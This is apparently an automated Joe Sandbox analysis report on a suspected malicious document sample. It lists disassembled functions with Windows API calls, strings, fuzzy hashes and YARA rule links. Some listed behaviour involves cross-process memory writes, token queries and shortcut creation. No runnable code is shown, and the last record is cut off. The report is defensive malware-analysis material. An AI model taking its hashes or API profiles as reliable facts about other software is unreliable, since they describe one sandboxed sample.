Instruction Fuzzy Hash: 5211C832105706EFF720AFA5DC4ADAB7BA8EF44770F100529F95486153DB39D8028761

Function 0074B8E7 Relevance: 7.5, APIs: 5, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

GetUserObjectSecurity.USER32(?,?,?,00000000,?), ref: 0074B903
GetLastError.KERNEL32(?,0074B3CB,?,?,?), ref: 0074B90D
GetProcessHeap.KERNEL32(00000008,?,?,0074B3CB,?,?,?), ref: 0074B91C
RtlAllocateHeap.NTDLL(00000000,?,0074B3CB), ref: 0074B923
GetUserObjectSecurity.USER32(?,?,00000000,?,?), ref: 0074B93A

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: HeapObjectSecurityUser$AllocateErrorLastProcess
String ID:
API String ID: 883493501-0
Opcode ID: 9eb6d43eda8a067c12831a7901975176d613fde94d7c5e87701d71675a0c747f
Instruction ID: a4038c43d405eb4f1cf26ff9c156811afb80fc8f211f87eda9cb84736a9f0f91
Opcode Fuzzy Hash: 9eb6d43eda8a067c12831a7901975176d613fde94d7c5e87701d71675a0c747f
Instruction Fuzzy Hash: 45016971241208BFDB214FA9DC88D6B3BADEF8A7A4B10402AF945C2260DB79DC41DA60

Function 00758355 Relevance: 7.5, APIs: 5, Instructions: 47sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?), ref: 00758371
QueryPerformanceFrequency.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 0075837F
Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 00758387
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 00758391
Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?), ref: 007583CD

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: PerformanceQuery$CounterSleep$Frequency
String ID:
API String ID: 2833360925-0
Opcode ID: 2bbd31d2b10662cda25dfc41a119c9b6245d551aebbac6e84aa93450af368d8f
Instruction ID: 4f8743625e4b8c8eb2b17f0de5c9eb45fd54f8fceb29ad10f23e8db143ff6613
Opcode Fuzzy Hash: 2bbd31d2b10662cda25dfc41a119c9b6245d551aebbac6e84aa93450af368d8f
Instruction Fuzzy Hash: 11018031C0161DDBCF10AFA4EC49AEEBB78FF08B02F014046E901B2150DFB89955C7A6

Function 0074B7EF Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 0074B806
GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 0074B810
GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 0074B81F
RtlAllocateHeap.NTDLL(00000000,?,TokenIntegrityLevel), ref: 0074B826
GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 0074B83C

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: HeapInformationToken$AllocateErrorLastProcess
String ID:
API String ID: 47921759-0
Opcode ID: 6842d1a89014fb8da9871759ee5e235b08b19be785b3b4ac8f0be0771e307171
Instruction ID: b66d89cf06ff5618be8464acb034041b7d33a66e58a229502ca007a856b062b2
Opcode Fuzzy Hash: 6842d1a89014fb8da9871759ee5e235b08b19be785b3b4ac8f0be0771e307171
Instruction Fuzzy Hash: 4BF04F75281204AFEB215FA5EC88E773B6CFF46755F00402AF941C7150DB69DC52CAA0

Function 0074B78E Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 0074B7A5
GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 0074B7AF
GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 0074B7BE
RtlAllocateHeap.NTDLL(00000000,?,00000002), ref: 0074B7C5
GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 0074B7DB

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: HeapInformationToken$AllocateErrorLastProcess
String ID:
API String ID: 47921759-0
Opcode ID: 6a0e413c2ee25ab967e830cd68dde6e8be34fc567dfd75f1bdba0b9d5acc3a36
Instruction ID: 27c7103676a24e6ecad61a93cb9186dd4d8be15534ad607d03ab0481d9c7cb08
Opcode Fuzzy Hash: 6a0e413c2ee25ab967e830cd68dde6e8be34fc567dfd75f1bdba0b9d5acc3a36
Instruction Fuzzy Hash: 3DF03C71241208AFEB211FA5AC89E673BACFF86755F10801BF941C6150DB79DC42CA60

Function 0074FA7B Relevance: 7.5, APIs: 5, Instructions: 40windowtimeCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003E9), ref: 0074FA8F
GetWindowTextW.USER32(00000000,?,00000100), ref: 0074FAA6
MessageBeep.USER32(00000000), ref: 0074FABE
KillTimer.USER32(?,0000040A), ref: 0074FADA
EndDialog.USER32(?,00000001), ref: 0074FAF4

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: BeepDialogItemKillMessageTextTimerWindow
String ID:
API String ID: 3741023627-0
Opcode ID: 5f3fe0db7ce20cbc0bc4094c0ed917aec007dcf9fe483c5c75abe295434fef26
Instruction ID: 3ccb5f789ee739e41cc21c7c7b435e7e053746f8dc6706fc08922ca705b62df1
Opcode Fuzzy Hash: 5f3fe0db7ce20cbc0bc4094c0ed917aec007dcf9fe483c5c75abe295434fef26
Instruction Fuzzy Hash: 4A018130600704ABEB349B14DD4EBD677B8BB01B09F04816AF287A51E0DBF8AD95CB54

Function 0072B517 Relevance: 7.5, APIs: 5, Instructions: 29COMMON

Download Yara Rule

APIs

EndPath.GDI32(?), ref: 0072B526
StrokeAndFillPath.GDI32(?,?,0078F583,00000000,?), ref: 0072B542
SelectObject.GDI32(?,00000000), ref: 0072B555
DeleteObject.GDI32 ref: 0072B568
StrokePath.GDI32(?), ref: 0072B583

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: Path$ObjectStroke$DeleteFillSelect
String ID:
API String ID: 2625713937-0
Opcode ID: 9470f14f3a93113693ddea3b13069e9f528330aa915461dc184b8e840510eb59
Instruction ID: da82c30cb247bb062ee8b3d5b2e820bea711e8f3c21f3cae78410c675d2ae0e4
Opcode Fuzzy Hash: 9470f14f3a93113693ddea3b13069e9f528330aa915461dc184b8e840510eb59
Instruction Fuzzy Hash: 86F0C431141348ABDB259F2AED0C7643FF6AB01332F58C216E4A9491F1C73C99A6EF18

Function 0075FA15 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 277comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0075FAB2
CoCreateInstance.COMBASE(0079DA7C,00000000,00000001,0079D8EC,?), ref: 0075FACA

Part of subcall function 0071CAEE: _memmove.LIBCMT ref: 0071CB2F

CoUninitialize.COMBASE ref: 0075FD2D

Strings

.lnk, xrefs: 0075FA63, 0075FA68, 0075FA76

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: CreateInitializeInstanceUninitialize_memmove
String ID: .lnk
API String ID: 2683427295-24824748
Opcode ID: 0910b48e4f047378c481a046725fd3f9def7c669ef6d64ef493f97cde17c056f
Instruction ID: 3317d9a101e7d3500252271385b477d72e68d95c7f84163bb56d7601ddc82f93
Opcode Fuzzy Hash: 0910b48e4f047378c481a046725fd3f9def7c669ef6d64ef493f97cde17c056f
Instruction Fuzzy Hash: EBA15C71504305AFC300EF68C895EABB7EDEF88704F40891DF55597192EB74EA4ACBA2

Function 0075EFCD Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 261comCOMMON

Download Yara Rule

APIs

Part of subcall function 007578AD: GetFullPathNameW.KERNEL32(?,00000105,?,?), ref: 007578CB

CoInitialize.OLE32(00000000), ref: 0075F04D
CoCreateInstance.COMBASE(0079DA7C,00000000,00000001,0079D8EC,?), ref: 0075F066
CoUninitialize.COMBASE ref: 0075F083

Part of subcall function 007184A6: __swprintf.LIBCMT ref: 007184E5
Part of subcall function 007184A6: __itow.LIBCMT ref: 00718519

Strings

.lnk, xrefs: 0075F02B, 0075F03D

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: CreateFullInitializeInstanceNamePathUninitialize__itow__swprintf
String ID: .lnk
API String ID: 2126378814-24824748
Opcode ID: 9b96844fe8b6b09f4ad6690b445d3128e1235a2673f7f8b6ecf46359cbd42274
Instruction ID: 89ea74273123c5a87fe06ce512553db104c4f50ac4f4ae30f1a6475c0b695d48
Opcode Fuzzy Hash: 9b96844fe8b6b09f4ad6690b445d3128e1235a2673f7f8b6ecf46359cbd42274
Instruction Fuzzy Hash: 93A15775604301DFC710DF14C884D9ABBE5BF88320F148999F89A9B3A2CB79ED49CB91

Function 0072DA5A Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 162COMMON

Download Yara Rule

Strings

+, xrefs: 0072DA96
#, xrefs: 0072DA9D

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID:
String ID: #$+
API String ID: 0-2552117581
Opcode ID: 1043867cc9f9d80f8167ac2fec6eccb62d7380b33ddb253f92cff9614ada7480
Instruction ID: a8b49084683b13fd6c83d9ccccb68be5455224c5401318dca5d58a76bbb48472
Opcode Fuzzy Hash: 1043867cc9f9d80f8167ac2fec6eccb62d7380b33ddb253f92cff9614ada7480
Instruction Fuzzy Hash: 15512175048266DFDF25EF68D455AFA7BA4BF2A310F144055F881AB2D0D7BC9C42C760

Function 0075503C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 122COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(0000000C,00000016,00000016,00000000,00000000,?,00000000,007ADC40,?,0000000F,0000000C,00000016,007ADC40,?), ref: 0075507B

Part of subcall function 007184A6: __swprintf.LIBCMT ref: 007184E5
Part of subcall function 007184A6: __itow.LIBCMT ref: 00718519

Part of subcall function 0071B8A7: _memmove.LIBCMT ref: 0071B8FB

CharUpperBuffW.USER32(?,?,00000000,?), ref: 007550FB

Strings

REMOVE, xrefs: 007550AC
THIS, xrefs: 00755139

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: BuffCharUpper$__itow__swprintf_memmove
String ID: REMOVE$THIS
API String ID: 2528338962-776492005
Opcode ID: 704e5a41a62b017dfb226ad9f601f148b6ee1a509916e8ee397df9e8cde6778f
Instruction ID: fabdd2684dfe04c1e244ad26ec624f819a1e99f8f4159218e5c58351a49dc661
Opcode Fuzzy Hash: 704e5a41a62b017dfb226ad9f601f148b6ee1a509916e8ee397df9e8cde6778f
Instruction Fuzzy Hash: 9D418134A00A09DFCF14DF68C895AEEBBB5BF48305F048069E856AB392DB789D45CB51

Function 0074CF7F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 121windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00754D41: WriteProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,0074C9FE,?,?,00000034,00000800,?,00000034), ref: 00754D6B

SendMessageW.USER32(?,00001104,00000000,00000000), ref: 0074CFC9

Part of subcall function 00754D0C: ReadProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,0074CA2D,?,?,00000800,?,00001073,00000000,?,?), ref: 00754D36

Part of subcall function 00754C65: GetWindowThreadProcessId.USER32(?,?), ref: 00754C90
Part of subcall function 00754C65: OpenProcess.KERNEL32(00000438,00000000,?,?,?,0074C9C2,00000034,?,?,00001004,00000000,00000000), ref: 00754CA0
Part of subcall function 00754C65: VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000004,?,?,0074C9C2,00000034,?,?,00001004,00000000,00000000), ref: 00754CB6

SendMessageW.USER32(?,00001111,00000000,00000000), ref: 0074D036
SendMessageW.USER32(?,00001111,00000000,00000000), ref: 0074D083

Strings

@, xrefs: 0074D09B

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: Process$MessageSend$Memory$AllocOpenReadThreadVirtualWindowWrite
String ID: @
API String ID: 4150878124-2766056989
Opcode ID: 2f16fb5466bf0dabbca9a343d23cd7112b8e68a1c8e7b46c47583778ea6bfe79
Instruction ID: 05ba120b36ecc90a5221e64aedbbfd1839faa9d1402e024b9498ec5c13dd9f7f
Opcode Fuzzy Hash: 2f16fb5466bf0dabbca9a343d23cd7112b8e68a1c8e7b46c47583778ea6bfe79
Instruction Fuzzy Hash: DA412C72A00218AEDB10DFA4CC85ADEB7B8AF49700F108095EA45B7191DB756E89CB61

Function 0077A44D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 110COMMON

Download Yara Rule

APIs

SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013,?,?,SysTreeView32,007ADBF0,00000000,?,?,?,?), ref: 0077A4E6
GetWindowLongW.USER32 ref: 0077A503
SetWindowLongW.USER32(?,000000F0,00000000), ref: 0077A513

Strings

SysTreeView32, xrefs: 0077A4B8

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: Window$Long
String ID: SysTreeView32
API String ID: 847901565-1698111956
Opcode ID: c18b603e612afb93b112c76a8cf05930659719a00a3013e3ba88851d76926d42
Instruction ID: 03a98cbb43b6fa3e38a922f6dc158dd194cbb996845dee949efe9bfd008273db
Opcode Fuzzy Hash: c18b603e612afb93b112c76a8cf05930659719a00a3013e3ba88851d76926d42
Instruction Fuzzy Hash: A431A231200645BBEF218E78CC45BEA7769EB89364F208715F879922E0D779E8619B60

Function 007657D7 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 96networkCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 007657E7
InternetCrackUrlW.WININET(?,00000000,00000000,?), ref: 0076581D

Strings

?Kv, xrefs: 00765885
|, xrefs: 0076580C

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: CrackInternet_memset
String ID: ?Kv$|
API String ID: 1413715105-1365364517
Opcode ID: aec214edcf99a93aedfcddfdd933d3ba35edf63dd9a3cf2824e4a325646dd535
Instruction ID: 3eeff5ba5a6f218d4ca91756d8592940666e29b9be86d151a78b039d7ef37dc3
Opcode Fuzzy Hash: aec214edcf99a93aedfcddfdd933d3ba35edf63dd9a3cf2824e4a325646dd535
Instruction Fuzzy Hash: 93311B7180011DEBCF11AFA4DC95EEEBFB9FF18310F104015F816A6162DB359A86DBA1

Function 0077A698 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 88windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000469,?,00000000), ref: 0077A74F
SendMessageW.USER32(00000000,00000465,00000000,80017FFF), ref: 0077A75D
DestroyWindow.USER32(00000000,00000000,?,?,?,00000000,msctls_updown32,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 0077A764

Strings

msctls_updown32, xrefs: 0077A6C9

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: MessageSend$DestroyWindow
String ID: msctls_updown32
API String ID: 4014797782-2298589950
Opcode ID: 2ed298aad6eb1a1e38e3bb70702c1362376d7213911a70434f70c1ef9eef7a3e
Instruction ID: 46c90a77a97faea7f0d6f6c33ced6268c833ab08b23884965d9f3fd6456ce5cc
Opcode Fuzzy Hash: 2ed298aad6eb1a1e38e3bb70702c1362376d7213911a70434f70c1ef9eef7a3e
Instruction Fuzzy Hash: 032181B5600205BFEB14DF64DCC5EAB37BDEB493A8B044059FA0597251C774EC11DBA1

Function 007797B2 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000180,00000000,?), ref: 0077983D
SendMessageW.USER32(?,00000186,00000000,00000000), ref: 0077984D
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,Listbox,00000000,00000000,?,?,?,?,?), ref: 00779872

Strings

Listbox, xrefs: 0077980A

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: MessageSend$MoveWindow
String ID: Listbox
API String ID: 3315199576-2633736733
Opcode ID: 595c7f7829b32dfe5847fe996b7c642486c86c7481980136bfc19f631a7ee633
Instruction ID: d4774808a5b1479561e4053da2332f38b8d8b0fbe5df27af7faca310ad27e4e9
